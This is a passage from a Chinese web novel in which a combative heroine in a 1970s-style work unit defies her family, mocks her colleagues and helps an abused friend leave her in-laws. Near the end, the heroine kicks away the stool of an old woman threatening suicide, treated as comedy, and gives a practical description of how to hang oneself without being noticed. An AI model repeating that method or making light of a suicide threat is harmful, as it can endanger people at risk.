这屋里的装饰比他们家弄得还好还舒坦。屋子打扫得干干净净,屋子中央生着炉子,上面竖着一根粗粗的烟囱,炉子上面有一个铁架,上面的茶壶正咕噜咕噜地冒着热气,旁边烤着馒头片、红薯片、花生,屋里弥漫着茶的热气和馒头的焦香。 宋知南坐在软软的椅子上,腿上盖着厚厚的毛毯,小猫躺在毛毯中间睡觉,小狗就卧在她脚边。 左手边有一个矮矮的竹子置物架,上面放着式各样的零食小吃,右边的架子上摆着书,两个架子上的东西随手就能取到,物质精神都齐了。 宋上进语气复杂:“小四,你可真会享受呀。我跟你妈都没你这么会享受。” 宋知夏心说,怪不得三妹不想回去过年,换了她也不想回去,一回去就有干不完的家务活,忙得脚不沾地。 宋冬宝忙说明来意:“三姐,我们三个来接你回家过年。” 宋知南不解地问宋上进:“为什么你们非要那么执着于形式呢?我回不回去有那么重要吗?” 宋上进说:“你不回去,邻居会说咱们家。” “那就让他们说呗。” 宋上进耐心地跟宋知南讲道理:“小四啊,你看今年你大哥情况特殊回不来,你二姐嫁出去了,往年热热闹闹的一家人,今年却只有我们三口人,多冷清啊。” 宋知南:“冷清多好,安静啊。” 宋上进接着劝:“小四,你看你自己一个人多孤单,别人家热热闹闹,又是包饺子又是放鞭炮的,就你形单影只的,你不难受不羡慕别人家吗?” 宋知南盯着宋上进,话像子弹一样射进他的眉心:“我难受什么?我难受没人使唤我?难受没人对我说教?我羡慕别人家什么?羡慕别人家的闺女有干不完的家务活?羡慕她们大冬天的把手泡在水里洗菜洗衣服,手冻得跟红萝卜似的?然后一转眼,就看到家里的爸爸哥哥弟弟翘着二郎腿把瓜子皮吐得满地都是,他们一边嗑瓜子一边指责我干活不利落。” 杠精值加10。 第87章 宋上进被宋知南一连串的质问弄得无法招架, 只好讪讪地说道:“谁家不是这样过来的?怎么就你事儿多?” 宋知南突然提高嗓门:“别人是别人,我是我, 只有占尽便宜的人才说别人想得多。我就是不想像以前那样过了,我今年还就不回去了。你们家是你们的家,不是我的家。这里才是我的家。我在哪里,哪里就是我的家,别人是四海为家,我是以身为家。 我一个人自由自在,不受奴役不受剥削。我永远不会上你们的当,搁那儿自我怜悯,觉得自己好孤单可怜。也不会为了你们的灯火辉煌去做木材燃料,更不会为了你们的体面和大局让自己受委屈。我,宋知南, 当自己的家做自己的主, 永不为奴, 永不屈服。” 杠精值加20,杠精系统发新年红包100杠精值。 三人像是石化了一般, 呆呆地坐着, 许久都没人接话。 宋上进见劝又劝不动,还被怼得灰头灰脸的,便起身悻悻离开。 临走,他还是没忍住摞下一句话:“你就等着吧,对父母不孝顺的人会有报应的。” 宋知南冷笑道:“你也等着吧,对女儿不好的老家伙一定会有报应,不是不报, 时候未到,老天不报, 我自己也要报。” 杠精值加5。 宋上进见宋冬宝还在发呆,回头吼了一声:“冬宝,你还愣着干吗?赶紧走啊,你就当没这个姐姐。” 宋冬宝无奈地看了一眼宋知南,小声喊了一声姐,宋知南不在意地朝他摆手,示意他赶紧走。 宋冬宝见姐姐真的没有迁怒于他,心里才算舒了一口气。他不禁暗暗埋怨父亲:大过年的,你说你惹三姐干啥? 宋知夏特意晚走了一会儿,她先安慰宋知南:“三妹,你别生气,咱爸那人你又不是不知道,死要面子,说话还难听。” 宋知南:“没事,我不气。就凭他,也值得我生气?” 宋知南说着自己倒了杯热茶喝,怼人都怼渴了。 宋知夏打量着屋里的摆设,说道:“三妹,你这样其实挺好的。有吃有喝,自由自在。你说之前,我没觉得有什么不对,毕竟之前一直都是这样过来的。你一说我也觉得哪里都不得劲儿。凭什么忙忙碌碌的是我们,享受的总是他们?在娘家是这样,到了婆家还是这样,这何时是个头呢?你看看我的手,这几天一直洗洗刷刷的,手都有裂口了。” 宋知南趁机蛊惑宋知夏:“二姐,你跟我一起革命吧。现在,我是坚定的造反派,誓将革命进行到底;而你,就像摇摆不定的小资产阶级,但是,摇摆总是向往坚定,妥协总是向往革命,你向我靠拢是早晚的事。与其晚靠拢,还不如早靠拢。” 宋知夏摇头苦笑道:“也许有一天我也会跟着你造反。现在的我连个工作和住处都没有,我没有底气,也没有你那么厉害。提前祝你新年快乐,我得回去干活了。” 宋知夏离开后,宋知南剥了一粒花生,朝天上一扔,用嘴去接,结果花生掉到了地上,黑米眼疾嘴快,给抢走了。 她笑了两声,随手拿起右边架子上的笔记本,记下刚才的新年宣言,并在上面写道:“不听家人言,快乐过新年;不听老人言,快活几十年。新年新寄语:有福必享,没福硬享,就算不享,也不让别人独享。” 宋知南还画了一张全家福,她,黑米,小虎,她们是快乐圆满的一家三口。 宋知南坚决不回去过年,亲戚邻居们背后自然要议论几句。 “你们听说了吗?老宋亲自去接宋知南回来过年,都没接回来。” “这个宋知南肯定是被父母伤透了心,宁愿一个人过年也不回去。” “我咋觉得她有点过分?不管怎么说那也是她亲爹亲妈,能有多大的矛盾?” “这你就不知道了,宋上进和李玉华还真有可能不是宋知南的亲爹亲妈。” “不管怎样也把她养大了,她就是太过分了。” “嗐,她就是那种人。过分又咋了?人家自己过得舒服就行。” 宋知南才不管别人议论不议论,只要别舞到她面前,她就当对方在狗叫;若是舞到她面前,见之必骂。别人过年发红包,她发骂人包。 当然,这些人也就敢背后说她两句,当着她的面,他们一个字都不敢多说,还得笑吟吟地夸宋知南有能耐,还长高了长胖了,一看就有福气。 这个年宋知南过得还真舒服,不用替别人干活,不用走那些烦人的亲戚。想吃就吃,想唱就唱。吃饱了就看书,看困了就睡觉,睡醒了接着吃。她和小虎在床上睡,黑米在地上的窝里睡。 宋知南睡醒后,一边撸着猫一边问黑米新的一年她们家运势旺不旺? 黑米现在是她的答案之书,没事就要问一问。 黑米热烈地回应三声:“旺旺旺。” 宋知南夸道:“黑米,我最喜欢你。因为你事事有回应,件件有着落,还不爱抬杠。” 黑米竖起耳朵听着主人的夸奖,摇着尾巴给予回应。 宋知南也没落下小虎:“小虎,你最威武。武松都打不过你。” 小虎很敷衍地喵了一声,继续睡觉。 宋知南不禁感慨,她们一家没有争吵没有抱怨,这是一幅多么和谐美好的画面。 年后,宋知南家也迎来了几波客人。 初二,边月来给宋知南拜年,她送了宋知南一套旧连环画,这是她攒了好几个月才攒齐的。宋知南送了边月两本书和两个笔记本,鼓励她好好学习,天天向上,边月欣然接受,还请师傅在书的扉页上和笔记本上写几句话鼓励她。 初三是李群英来,她给宋知南送了一大叠稿纸和一板邮票:“新的一年,你要再接再厉,多写文章多投稿。” 上次她们俩投稿,宋知南一次就中,李群英失败了,宋知南鼓励她换一家投,第三次终于成功了。 现在的李群英干劲满满,女人就得有事业有理想,她现在有了事情干,其他不重要的事情都尽力忽略,谁也不能阻挡她前进的脚步。 宋知南回送李群英两本书和一本剪报:“再接再厉,一起努力。苟富贵,互相旺。” “好好,互相旺。” 李群英高兴而来,兴尽而归。 初六是王翠花来,她过年前就回娘家去了,今天刚回来。王翠花没有直接回家,而是先奔宋知南家来。 宋知南一开门,就看见风尘仆仆的王翠花和一地包袱。 “王姐,你回来了?” 王翠花声音响亮,脸上带着笑容:“我回来了。” 宋知南请她进来,王翠花把包袱也往院子里搬,宋知南帮着她一起搬。 等关上院门,王翠花憨憨一笑:“妹子,我给你带了一点乡下特产,你可别嫌弃。” 宋知南说:“我喜欢还来不及,怎么会嫌弃?就是你大老远的还带着这么多东西,实在辛苦。” 王翠花一边往外掏东西一边说:“不辛苦,我力气大。” 说着她拿出一包花生和一纸包小米,“我娘家的花生和小米可好了,小米特别养人。我看你身体还是不够强,得多补补。我妹子跟你差不多大,壮得跟头小牛犊似的。” 王翠花的审美就是人就得健壮得胖,胖还得是实心的。她养孩子就照着这个方向养。 王翠花接着又掏出三瓶豆豉和一坛子酱豆:“这些是我三大娘做的,她的手艺可好了,我们村里谁家下酱豆都是请她去。” “这是腌好的萝卜干和芥菜疙瘩,你用来就粥吃。” 王翠花说着话还往要往外掏。 宋知南赶紧拦住她:“王姐,够了够了。你能带多少东西?还得送别人呢。” 王翠花又掏出一包菜干:“行啦,就给你这些。都是些不值钱的玩意儿,你不嫌弃就好。” “我很喜欢。对了王姐,你这次回娘家感觉如何?” 王翠花一说起这个话题就刹不住嘴:“好些年没回了,我心里那个激动哟,出发前的那天晚上都没睡好。 等上了火车,我又生怕辛苦攒的东西被人偷了,一直抱在怀里。上厕所都恨不得带上。等回到家里,我爹娘姐姐和弟弟妹妹比我还激动,我娘抱着我哭了半天,说别人家的闺女嫁在附近,想见就能见,哪像我,几年见不了一回。” “我娘说好在我在城里享福,她心里才好受些。我听到这话,满肚子的委屈突然就不知该怎么说了,我要是说了,我娘不得天天担心?后来我还是没忍住,跟我妹说了,我妹气得撸袖子要来找他们家算帐。我赶紧劝她,我说我在城里有一个妹子了,人家不但厉害,还很有文化。我这次能回娘家,还能带这么多东西,全靠她的帮助。我妹听完特别佩服你。对了,我带的那些毛巾、棉线、肥皂零嘴啥的,可受欢迎了。乡亲们都夸我有能耐,我爹娘脸上也有光彩……” 王翠花觉得自己说得太多了,不好意思地笑笑:“你瞧我,一说话就刹不住车。” 宋知南笑着说:“我爱听这些,多有意思啊。” 王翠花一听这话,又有了往下说的兴致:“我跟你说,还有一件事,就是你和群英给咱们大伙拍的那个剧照和咱们上的报纸,我全带回去了。我们全村的人都抢着看,识字的就看文章,不识字的就看相片。他们都夸我有出息,竟然都当上演员了,还能上报纸。我是我们村第一个上报纸的。我解释说我们是业余文工队,他们才不管啥业余不业余的,就是觉得有本事。我娘还说我要是能回我们村演出就好了,我说那咋可能嘛,那么老远,不过我还是跟他们演了咱们常演的那几场戏,他们拍巴掌拍得手都红了。看完戏,我爹还从乡亲们手里要回报纸自己藏起来,他说以后留着当传家宝,哈哈哈。” 王翠花的笑声很有感染力,宋知南也忍不住跟着一起笑。 她们正笑着,就听见门外传来了李群英的声音:“我在外面都听见王姐的笑声了。” “群英来了,赶紧进来,我也给你带了土特产。” 王翠花又开始往外掏东西,李群英的东西跟李宋知南差不多。 李群英找双筷子尝了一下豆豉,眼睛一亮:“这豆豉真好吃。”说着她也让宋知南尝了一口,宋知南的反应跟李群英一样。 王翠花见她们是真的喜欢,心里愈发高兴。 东西掏完了,天也快黑了。李群英主动提出用她家的自行车送王翠花回去,王翠花推辞了一下也就同意了。 二十分钟后,李群英骑着自行车回来了。她来宋知南家把王翠花送的东西提走。 临走前,她感慨道:“王姐是真高兴,一路上跟我说个不停,连笑声都变响亮了。” 宋知南也说:“她本来就是一个性格挺开朗的人,被她婆家打压得快失失去自我了。好在现在找回她自己了。” 李群英郑重其事地说:“所以说,宋同志,你的工作和启蒙是非常有意义的。” 宋知南严肃地说:“不止是我,也包括你。咱们要团结起来,解救处于水深火热的女同胞们。” 李群英噗嗤一声笑了出来,“行,共勉共勉,我不跟你贫啦,我得回去吃晚饭了。” 李群英把东西放在自行车筐里,哼着歌儿回家去了。 初八正式上班,宋知南带了一瓶子豆豉和和萝卜干给何黛,“这是王翠花王姐送的,你尝尝。” 何黛接到东西,感动得眼泪汪汪的,拉着宋知南的手不放:“知南,我好想你啊。你不在,我干啥都提不起劲。你啥时候能回来呀?” 何黛说的是真心话,以前两人一起吐槽奇葩,分享八卦,一起吃饭,既是工作搭子又是饭搭子,现在一下子失去两个搭子,瞬间觉得生活索然无味。 宋知南安慰她说:“应该快了,我毕竟是借调过去的嘛。你没事跟贺主任提提我,让她别忘了我。” “你放心,她肯定忘不了你的,没事就跟我提起你,唉,可惜她的权力有限。” 两人聊了一会儿,何黛依依不舍地放开宋知南:“你记得常回家看看啊。” 宋知南:“……” 宋知南回到宣传科办公室继续上班。 除了何科长,没人敢给她安排工作,何科长也没什么工作安排给她,就说道:“小宋,你没事就写写文章,编编节目,你自己看着安排就行。” 宋知南:“好的,科长。你放心,我最会安排自己的工作了。” 虽然刚过完年,什么工作也没有,但宋知南也不想随便浪费时间。她先写工作计划,写完计划再写文章,写累了就看报,顺便做笔记和剪报。李群英直接照搬宋知南的工作方法,两人过得相当充实。 但办公室里其他人闲极无聊,又开始生事了。他们不敢招惹宋知南,但敢招惹李群英啊。 最先撩闲的是白红梅,她在办公室里像溜达鸡一样溜溜达达,咯咯哒哒,经过李群英身边时,她盯着李群英的脸看了一会儿,拖长声调感慨道:“群英,别人冬天都变白了,你咋还是那么黑呢?要我说,你也上上心。俗话说,一白遮百丑啊。” 白红梅的皮肤很白,很多人见了都夸,她面对天生黑皮的女同志时会有一种优越感。 李群英对白红梅翻了个白眼,冷笑一声:“我黑我的,你白你的,关你啥事啊。” 白红梅咯咯笑着:“你看看你,真是不知好歹。” 宋知南写文章写得胳膊酸疼,一看娱乐来了,顿时来了精神。 她盯着白红梅看了几眼,摇头叹气:“说是一白遮百丑,可是你这么白咋还是这么丑呢?丑不丑其实跟黑白没关系。你是心灵的丑陋反映到外表上了。还有啊,你脸上那斑斑点点的,就像白面饼上洒了黑芝麻似的,哎哟,我以后吃烧饼就会想起你,你说我是吃还是不吃呢?” 杠精值加5。 白红梅气得鼻子都快歪了,冲着宋知南嚷道:“宋知南,我没跟你说话吧?” 宋知南:“你没跟我说话咋啦?我这人热情懂礼貌,见着你就主动跟你说话。” 白红梅:“……” 周有光和钱解放一见三个女同志互掐起来了,一脸的幸灾乐祸,三个女人一台戏,这话绝对没说错。 两人一边笑着一边过来假意劝架。 “哎呀,刚过完年,大家都和气一点嘛,不要为了点小事就吵嘴。” “红梅你别生气,群英你也少说两句,小宋,你就别说话了。” 周有光还好心地劝李群英:“群英,红梅说你其实也是为了你好,你过完年都二十八了,这马上都三十了,你再找不着对象可怎么办呀。你说你长得又黑又高,脾气又硬,偏偏要求还高,这样下去,何年何月才能找到对象?我们都替你着急。” 李群英气极反笑:“你们管好你们自己吧,我的事不用你们操心,一个个天天闲吃萝卜淡操心。” 宋知南不再骂白红梅,立即将枪口掉向周有光:“老周,你过完年又老了一岁,咋就光涨岁数不涨脑子呢?你长脑袋是为了显个吗?问题是就算为了显个,你也不高呀。你瞧瞧你,一把抓住看不到两头,看着就像地出溜,竖着没有锄头高,横着没有扁担长,跳起来也不到一米七。人矮嘴欠还爱犯贱,你以后可怎么办。” 杠精值加10。 第88章 宋知南的话算是踩到周有光的痛脚了, 他本来对自己的身高就不满意,但一般人会顾忌面子, 极少当面提这事。 今天宋知南却当众揭短,周有光顿时恼羞成怒:“宋知南,你的嘴是抹了毒药吗?那么毒。” 宋知南面带微笑:“你瞧你又急了,我说你也是为了你好。你就是听不进别人的意见才长不高的。” 周有光气极败坏:“我呸,以后你别跟我说话。” 宋知南无赖地笑道:“我这人主动又热情,我就是要跟你们说话。” 周有光快气毁了,他长这么大就没见过宋知南这样的女孩子。脸皮那么厚,无论你怎么孤立怎么说,人家压根都不在乎。每次吵架,生气的总是他们。 白红梅知道自己不该招惹宋知南,可是她心里就是气, 演节目的事本来是他们宣传科的事, 结果宋知南鸠占鹊巢, 她一个借调来的工会干事当上了文工队队长,还把他们三个排除在外。今年过年, 好多亲戚朋友都问她怎么没去参加演出, 她能怎么说?她只能说,她不想演。 现在宋知南又当众嘲讽她的长相,她无法再忍下去了。 白红梅冷笑道:“宋知南,这厂里谁不知道你的妒忌心强,你妒忌江茶,把她搞下去了。现在又来妒忌我,有本事你也把我搞下去啊。” 宋知南听到这话大吃一惊:“什么, 我妒忌你?白红梅同志,你有没有深入思考一下, 你身上到底有什么地方是值得别人妒忌的?” 白红梅被噎了一下,还是坚持自己的看法:“你就是妒忌我,你和李群英都妒忌我,要不然你俩也不会一直跟我作对。” 宋知南和李群英相视大笑。 宋知南笑够了才说道:“哦,说你不好就是嫉妒你了?我说苍蝇不好难道是嫉妒它腰细胸大?我说狗屎不好,难道是妒忌它粘性好?” 杠精值加5。 白红梅的脸憋得通红,被噎得半天接不上话来,她气得趴在桌上哭了起来。周有光和钱解放一左一右安慰白红梅。 钱解放对宋知南怒目而视:“小宋,这刚过完年,你就把他们两个气成这样,你就不觉得惭愧吗?” 宋知南针锋相对:“刚过完年,你们就惹群英生气,还在办公室里大吼、哭丧,你们不觉得晦气吗?你们年纪比我大,脸皮比我厚,长得比我丑,就不能忍一忍吗?吃亏是福,你们就多享享福怎么了?” 杠精值加15。这一段话同时杠了三个人。 钱解放被宋知南的炮火轰哑了,气哼哼地说:“行行,算我多嘴,我不劝了,你们爱怎样怎样。” 宋知南说道:“穷猴光腚,欺软怕硬。赢不了还输不起,三个纯贱皮。” 杠精值15。 宋知南说完,带着李群英出门晒太阳透气去了。 三人小团体在办公室里暗暗舔伤,互相安慰。 到了外面,李群英真诚地说:“知南同志,我以后要向你学习。” 她的嘴不笨,但一气极了头脑就会一片空白,什么话都忘了说,没有宋知南临场反应那么快。 宋知南安慰她:“没事,以后多练练就熟了。他们就会那几下子,是有规律可循的。 最关键的是无欲则刚,你把心炼成钢,就不惧一切语言的伤。你心里没钩子,别人就没法挂衣服。比如人家说我没男人要,我高兴啊,没男人要就没男人坑,那不是好事吗?他们说我找不到婆家,那更是大好事,我气个啥?说我嘴毒,嘴毒咋了?我嘴毒我不知道吗?还用他们说?最可怕的事,不是别人骂你,而是你把别人的谩骂和评价内化在自己心里,你潜意识里也认同了别人骂你的话,那个伤害才是最大的。” 李群英用敬佩的目光看着宋知南:“南姐,虽然我比你大很多,但我以后跟别人一样叫你南姐。因为你值得。你是我的良师益友啊。” 宋知南听到这声南姐非常满意,李群英很上道,这人能处。 对方上道,宋知南也很大方:“我把我压箱底的宋氏家训送给你,它就是我们古代宋国最有名的哲学家庄子说的‘举世誉之而不加劝,举世非之而不加沮。’ 大概意思就是就算全世界的人都鼓励我,我也不会因此而更加勤勉;就算全世界的人都责难我,我也不会因此而沮丧。 前面那一句有点难,毕竟要是全世界的人们每人花一块钱鼓励我上进,我真的没办法拒绝。后面那句,我快做到了,谁骂我,我就觉得谁有病,然后再骂回去。要是他们一起骂我,我就觉得他们得了传染病,再以骂为药给他们治病。” 李群英点头:“我回去就把这句话写下来挂在书房。”这句话她早就知道,但没想到还能这么用啊。人果然不能读死书,就得活学活用。 两人透完气聊完天,神清气爽地回办公室继续写文章。要搁以前,李群英跟人吵完架得气上半天,现在经宋知南这一点拨,气当场就消了。不但气消了,她还感觉自己像吃了补药似的,浑身充满力量。 办公室里的三人组的气刚消去一点,一看两人这神情,气蹭地一下又上来了:凭什么她俩不生气? 对骂完还这么笑嘻嘻的跟没事人似的,这是正常人吗? 三人组暗中观察,默默生气。 这次争吵之后,办公室里的气氛变得格外微妙。五个人形成了两大阵营,并进入了冷战状态,一如当今的世界格局。 但宋知南可不像美帝和苏修,既不上蹿下跳又不暗戳戳搞事,她该吃吃该喝喝,该说说该笑笑,一点都不把他们放心上。东方大国的定力和自信在她身上有了具象的呈现。 李群英也向宋知南看齐,她们只做自己,就能把对面的三人气得险些吐血。 这天,宋知南下班后,又在家门口看到提着东西的王翠花。 宋知南招呼她进来,说道:“王姐,你上次不是送完特产了,咋又提东西来了?” 王翠花进来先把手中的东西放在桌上,“妹子,这次不一样。我是借花献佛,这东西是我一个特别远的远房亲戚送的,我正好有事跟你商量一下。” “哦,你说吧。” 宋知南倒了两杯温开水,王翠花还真渴了,咕咚咕咚灌了半杯水才开始说话。 王翠花从头开始说起:“我过年回娘家后,我娘担心我离娘家太远,出点啥事,他们什么都不知道。我娘家在城里又没啥亲戚,正好今年我们家特别热闹,亲戚一波一波地上门,我娘就想打听打听,看看我们家亲戚谁有人在咱青阳市,结果还真让她给打听到了。 我一个远房表姨家表弟的一个战友在咱们市。我娘就去求我表姨,我表姨去找她表弟,最后表姨表弟写了一封信又准备了些乡下特产,让我登门拜访。我其实挺不好意思的,你说这么远的亲戚关系,谁知道人家愿不愿意见我?可我想着这毕竟是我娘的一片心意,就硬着头皮上门了。” 宋知南适时追问:“那后来呢?” 王翠花接着说:“我本来做了最坏的心理准备,想着人家要是不待见我,我以后就再也不去了。没想到,我那天去的时候,正好赶上他家的老母亲一个人在家,老人家腿脚不便,没法出门,总是一个人呆着也挺寂寞,见人上门,就拉着我聊了好久。 中午非留我吃饭,我就帮着做了顿饭,干了点家务。下午的时候,我表姨表弟的战友就回来了,哦对了,他让我叫他表舅。表舅说他和表舅妈工作很忙,老太太没人照顾,他们早想请保姆,一是没合适的,二是怕别人举报他们家请保姆是剥削阶级遗风。正好我是他们家亲戚,也不怕别人举报,他想让我过去照顾老太太。每月给我开25块钱的工资,管吃住,每周日休一天假。他们一放假也给我放假。” 宋知南想了想,说道:“这挺好的呀,你能把家里打理得这么好,当保姆完全不在话下。25块工资虽然不算高,但也算可以了,而且还管吃住,还有休假。” 王翠花面有难色:“我其实挺矛盾的,一是不放心家里,二是不舍得咱们文工队。” 宋知南说:“咱们文工队是业余的,演出的事有一搭无一搭的,当个副业和爱好没问题,当成工作不太行。” 王翠花说:“还有就是,我回来跟家里一提,好嘛,全家一起反对。婆婆问我,我去当保姆了,还得住别人家里,那我们自己家里这一大摊子谁来管?孩子他爸说,我放下家里的老人孩子不管,我的良心过得去吗?我儿子也跟我闹,也就我两个闺女支持我去。” 宋知南说:“你婆婆你男人不是天天说你吃闲饭吗?你一个闲人离开家他们应该高兴呀。” 王翠花冷哼一声:“妹子还是你说得对,人家精明得很,人家明明知道我为这个家付出了多少,连口头的承认都不肯给,反过来说我吃闲饭。现在倒好,我去别人家吃‘闲饭’,人家还给我开工资。” 宋知南给王翠花仔细分析:“我觉得你应该去。我的理由如下:你在家干得比保姆多,落不着一分钱不说连个好都落不着,在别人家当保姆怎么着也得给钱。人家管吃管住还敬着你;二,他们不是天天说你吃闲饭吗?你撂挑子,让他们感受感受你在家里的份量。看看活都是谁在干。至于舍不舍得,为啥舍不得?你家孩子又不是婴儿,十来岁的人了,该自己照顾自己了。你可以不舍得让自己受苦,但一定要舍得让别人受苦,这是为了他们好。咱上次说过,人不能对他太好,狗不能喂太饱。这个人包括除自己以外的任何人。王姐,你最大的问题就是太过善良和心软,你现在学着心硬一些。实在不会,身边有现成的例子,就向你男人学习。” 王翠花若有所思,似有所悟。 宋知南又说:“还有啊,你去你表舅家后,干活要积极,还要顺便学习点文化知识。你吃亏就吃在文化底子薄。你尽量把城里先进的一面学到手,武装武装自己。这样才不会辜负你这么多年受的委屈。” 王翠花动容地说道:“妹子,你是真心替我着想,还想得这么周到,方方面面都考虑到了。你放心,我以后一定会好好学习。你说得太对了,我不能白受这么多年的委屈,我好好干,以后有机会,争取把我妹妹也弄到城里来。你不知道她有多羡慕你们城里的姑娘,我也想让她跟你和群英一样,能变得聪明能干,独挡一面。” 王翠花下定了决心要跨出这一步,当然,她要走出这一步确实很不容易。 宋知南很快就接到路边社的消息:王翠花跟她婆婆和男人在家里大闹了一场。 据说王翠花是不鸣则已,一鸣惊人。嘴像机关枪一样,把她婆婆和男人骂得狗血淋头。 王翠花的男人气极败坏,还试图动手打她,王翠花直接抡起大拳头揍了回去,那家伙被打得抱头鼠窜,大骂王翠花是个泼妇。 王翠花一边踹他一边大骂:“以前我怕你们骂我是泼妇,天天收敛着。现在,我不怕了,泼妇就泼妇,当泼妇就是爽快,想打就打想骂就骂。” 王翠花那一身实心肉不是白长的,把她男人揍得鼻青脸肿、哭爹喊娘,据说都躲到街道办去了。为啥他没来妇联?因为他知道,宋知南是王翠花上面的人,她不会帮自个儿的。 泼妇王翠花收拾东西去亲戚家了,一边走还一边骂。 她婆婆马五妮到处跟人说,都是妇联的宋知南教坏了自家儿媳妇,以前的王翠花多老实啊,坏榜样的力量果然是无穷的。她现在要拿着麻绳吊死在妇联门口。 大家以为马五妮只是嘴上说说,没想到人家还真的付诸行动了。 这天中午,宋知南刚吃完午饭,就有人跑来告诉她,何黛叫她赶紧回去,马五妮要在妇联门上吊,人家连绳子都备好了。 宣传科的其他人一听,两眼骤放光芒。来了来了,宋知南的报应终于来了。 李群英直皱眉头,这事该怎么办? 宋知南淡定地说道:“没事,不就是上吊吗?我陪她一起吊。正好我写文章写得颈椎有些不舒服。” 宋知南说完,在办公室里转了一圈,找到了一根绳子,还搬了一只凳子人,她拿着道具朝出事地点走去。 李群英也来不及多问,赶紧跟上去。钱解放周有光三人也跟在后面去看热闹。 他们到的时候,妇联办公室门口已经围了里三层外三层的热心观众。 宋知南挤不进去,在外圈大喊一声:“都给我让开,我也来上吊。” 众人受到惊吓,人群不自觉地向两边分流,给宋知南腾出了一条路。 宋知南大步走进来,马五妮一看到宋知南就开始唱念起来:“哎哟,我儿媳妇王翠花受你的蛊惑,连家都不要了,去给别人家当保姆,我们家没人管了,我今天就吊死在你们妇联门口。” 何黛在一旁焦急地劝:“马大娘,你别这样。你儿媳妇当保姆还不是为了你们家?” 宋知南劝都不劝,上前拉着马五妮就往旁边的花坛边走去。 众人不解地看着她。 宋知南走了几步,指指花坛旁边的一棵歪脖子树说:“这个高度正好适合上吊,你等着,我给你绑绳子。”说完,她还拽走了马五妮手里的绳子。 第89章 宋知南以前在公园遛弯, 一抬头看见树上挂满了大爷大妈,一问才得知, 他们是在锻炼。他们把绳子挂在树枝上,兜住下巴“上吊”,据说可以治颈椎病。 现在机会来了,她要让马五妮也锻炼锻炼。 宋知南蹭蹭爬上树,把两根绳子绑在相邻的两根树杈上,再系个圈,刚好塞得下一颗脑袋,绳环离地面的高度约有2米左右,正好方便双脚离地悬空。 宋知南下来之后试了一下高度,满意地点头:“弄好了,马大娘, 你请吧。” 马五妮:“……” 众人也是目瞪口呆, 这是什么情况? 宋知南挑衅地看着马五妮:“怎么?不敢了?不敢就乖乖地回家去, 以后别拿这套吓唬人。我从小就是被吓大的,不怕。” 马五妮从震惊中醒悟过来。 她现在要是离开了, 她的老脸往哪儿搁?别人会怎么看她? 不能走, 坚决不能走。她就不信了,这么多人能眼睁睁地看着她吊死? 她还就不信了,宋知南真的能看着她上吊? 马五妮大声说:“行,我现在就死给你看。我要所有人都知道,你宋知南逼死老人,害得我家破人亡。” 说着,她一咬牙一狠心站到凳子上, 把脑袋伸进绳套里。 宋知南都不用凳子,她向上一跳, 两手紧抓住绳子,把下巴搁在绳环上开始荡秋千。这种上吊考验的是双臂的力量,好在她现在练出来了,荡一会儿秋千没问题。 她朝马五妮荡过来的时候,顺便把她脚下的凳子给踢飞了。 马五妮突然双脚悬空,吓得手忙脚乱,她脖子上的绳套越来越紧,急得她开始挣扎起来。 宋知南大声笑道:“咱俩一起荡起来,谁先认输谁是狗。” 一阵恐慌袭上马五妮的心头,她也顾不上面子不面子了,大声呼救:“救命啊,快放我下来。” 围观群众赶紧抱住马五妮的腿把她放下来。 宋知南还在旁边荡悠,一边荡悠一边笑:“马大娘,你输了哦。” 大家伙赶紧劝:“小宋你快下来吧,吊来吊去的,看着怪瘆人的。” 宋知南抓住绳子跳了下来,笑着说:“马大娘,好玩不?要不要再来一局?” 马五妮翻着白眼:“来你个头。”这人是个神经病吧? 就在这一瞬间,马五妮顿悟了,她好好的一个人跟一个神经病较什么劲呐。她才没有输,她就是大度不跟宋知南计较。现在的年轻人真是一代不如一代。 马五妮浑身像是虚脱了一般,站不稳当,有好心人扶着她回家去了。宋知南爬上树收了绳子,施施然往回走。 这道具得好好留着,指不定哪天还能用上。她的引体向上还得接着练习,机会总是留给有准备的人。 宋知南抖抖手里的绳子,对围观群众说:“以后谁再想在妇联门口上吊,尽管来找我,我提供绳子和凳子,还能跟着他一起上吊。我们是一个民主的单位,我们尊重大家的一切选择。” 众人仰头望苍天,苍天也无言以对。 宋知南拿着道具回到宣传科,办公室里除了李群英外,其他人都看着她幸灾乐祸地笑着。 何科长沉着一张脸看着宋知南。 “小宋,你进来一下。” 李群英给她使了个眼色,让她注意。宋知南朝她一笑,转身跟着何科长进了里面的小办公室。 周有光三人假装找文件,往小套间门口凑,只为能听清里面的谈话内容。 何科长摁着右边的太阳穴一直在叹气。 办公室里来了这么一个祖宗,他可真倒霉。说又说不过,不说也不行,他是领导,对于这种事,得拿出自己的态度。 要不然,他的领导会批评他不尽职。做人难,当小领导难,当刺头的领导更难。宋知南这名字取得太有内涵了,就是让人为难。 何科长思索半晌,终于开了口:“小宋,你自己说,你觉得今天这事做得对吗?” 宋知南答道:“不对,这简直是在胡闹。” 何科长无奈地说:“原来你还知道不对,还知道这是在胡闹?” 宋知南从容答道:“我说的是马五妮,你说她一把年纪了,这几十年都活到哪里去了?咋还一点都不懂事呢?她干点什么不好,非要来到妇联办公室门口上吊,这是正常人干的事吗?” 何科长:“……” 门外偷听的众人也是面面相觑。他们讨厌宋知南但也不得不佩服她,因为她连领导都敢杠。 系统及时播报:杠精值加30。 宋知南心中一喜,杠领导她收益高,领导血压高,这不是妥妥的双赢吗?她赢两次。 何科长喝了口茶,顺顺气,接着说:“马大娘胡闹,你不劝着,反倒跟她一起胡闹,你让别人怎么看待咱们科室?怎么看待你们妇联?” 宋知南理直气壮地说:“马五妮拿着绳子说要上吊,那你说我该怎么办?” “你劝啊。” “我劝了,她不听啊。” “那就再接着劝,该道歉就得道歉,该服软就得服软。” “我要是道歉了,你信不信她下次还敢来?别人见了有样学样怎么办?我不能开这个头。” 杠精值加60。 何科长摁着左边的太阳穴,说:“你跟着她一起上吊,要是不小心真出了人命怎么办?” 宋知南摇头:“我不信她真想死,她要真想上吊,就应该在夜深人静的时候,拿根绳子往房梁上一系,下面放好凳子,还得在凳子下面垫层被子,当她踢倒凳子时,凳子倒在被子上没声音,同屋里的人都未必能听到。第二天早上,她人都凉了,死得不能再死了。哪个正经想死的人会在青天白日、大庭广众之下上吊呀。她就是想跟我一起荡秋千,这老太太就是调皮。” 杠精值加30,宋知南听到系统播报,心里美滋滋的。 何科长气得眼前直冒金星,是,宋知南很有才华,把文工队带得挺好,可是他还是得赶紧想办法把这个瘟神送走,不然这样下去,他得少活十年。 何科长无奈地说:“宋知南同志,咱们往日无冤,近日无仇。你能不能老实一阵,给我留条活路?” 